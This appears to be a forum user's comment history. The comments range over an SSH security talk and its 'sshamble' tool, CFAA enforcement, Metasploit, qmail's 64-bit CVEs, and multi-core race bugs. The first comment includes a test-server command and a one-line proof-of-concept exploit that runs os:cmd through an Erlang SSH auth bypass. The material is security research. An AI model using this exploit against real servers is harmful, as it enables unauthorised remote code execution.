I was too! The reason is that the Go x/crypto/ssh library was bailing out on the lack of reply to the channel open request, which prevented it from reaching the auth bypass check via exec. I should have an update out soon with this fixed and a RCE check for this issue.
The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'
The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)
The Secure Shell (SSH) protocol has survived as an internet-facing management protocol for almost 30 years. Over the decades it has transformed from a single patented codebase to a multitude of implementations available on nearly every operating system and network-connected device.
This presentation dives deep into the Secure Shell protocol, its popular implementations, what's changed, what hasn't, and how this leads to unexpected vulnerabilities and novel attacks. An open source tool, dubbed "sshamble", will be demonstrated, which reproduces these attacks and opens the door for further research.
The CFAA has not been amended, but there was DoJ policy change on enforcement. So everyone is always breaking the law in the course of normal business, and it's still up to the prosector to determine who to go after:
- https://www.justice.gov/opa/pr/department-justice-announces-...
An underrated focus of Metasploit was making defensive tooling more robust. Spoonm's work on SNG (as well as other payload/encoder randomization efforts) was effective at killing static (and arguably ineffective) payload signatures. You can find a related talk on the IDS/protocol side at: https://speakerdeck.com/hdm/thermoptic-camouflage-total-ids-...
Source: co-speaker of the OP referenced presentation
The sell-off of captable.io/LTSE Equity was announced to customers a couple months ago, predating the Carta drama (but many folks picked LTSE specifically because it wasn't Carta).
Erm, qmail had lots of bugs[1], when compiled for 64-bit processors (lots of integer overflows), but djb pushed back and said 64-bit wasn't supported. If anything, qmail is known as the most annoying MTA to package, since no modifications to the source are permitted, and the application has to be built using a massive patch tree instead. The quirky management daemons required to run qmail were also obnoxious and at odds with everything else on the system.
Salient quote below:
>In May 2005, Georgi Guninski published "64 bit qmail fun", three vulnerabilities in qmail (CVE-2005-1513, CVE-2005-1514, CVE-2005-1515):
[snip]
>Surprisingly, we re-discovered these vulnerabilities during a recent qmail audit; they have never been fixed because, as stated by qmail's author Daniel J. Bernstein (in https://cr.yp.to/qmail/guarantee.html):
>>"This claim is denied. Nobody gives gigabytes of memory to each qmail-smtpd process, so there is no problem with qmail's assumption that allocated array lengths fit comfortably into 32 bits."
I used to install qmail fairly often on different Unix-like systems. I remember the installation instructions clearly setting out the limits that should be set on its processes, and I remember following them.
It sounds like the Debian packager didn’t follow the instructions. That doesn’t seem like the fault of the software.
> Erm, qmail had lots of bugs[1], when compiled for 64-bit processors (lots of integer overflows), but djb pushed back and said 64-bit wasn't supported.
qmail is a great demonstration that if you declare enough things out of scope, you can claim that the software is secure.
Reminds me of the era when dual-core processors started becoming generally available. Suddenly the bugs in multi-threaded software were much more apparent.
Vendors replied to complaints with: “We don’t support those processors”.
No buddy, you don’t support stable software. It’s buggy even on a single core, it’s just less obvious.
It's a very interesting phenomenon. There are lots of claims along the lines of "a single CPU is so fast it will exercise all kinds of multi-threading patterns very quickly" but in my experience it indeed takes multiple processors to reliably show up various races and faulty implicit orderings.
Single processors interleave threads using very coarse "quantums" of execution, where each thread runs for many milliseconds at a time. Dual processors will run the instruction streams truly in parallel.
From a correctness perspective, they're "identical", because even on a single core a context switch can occur anywhere. In theory, even one core can interleave individual instructions, it's just not done for performance reasons.
So if multiple cores causes a crash, then that crash bug was always there, and could have occurred even on a single core. It's just much less likely to be triggered.
Thankfully now every mainstream computer and practically all phones are multi-core, so software has to be written properly. The early 2000s were a mess though, with a lot of heisenbugs that were maddening to track down.
reply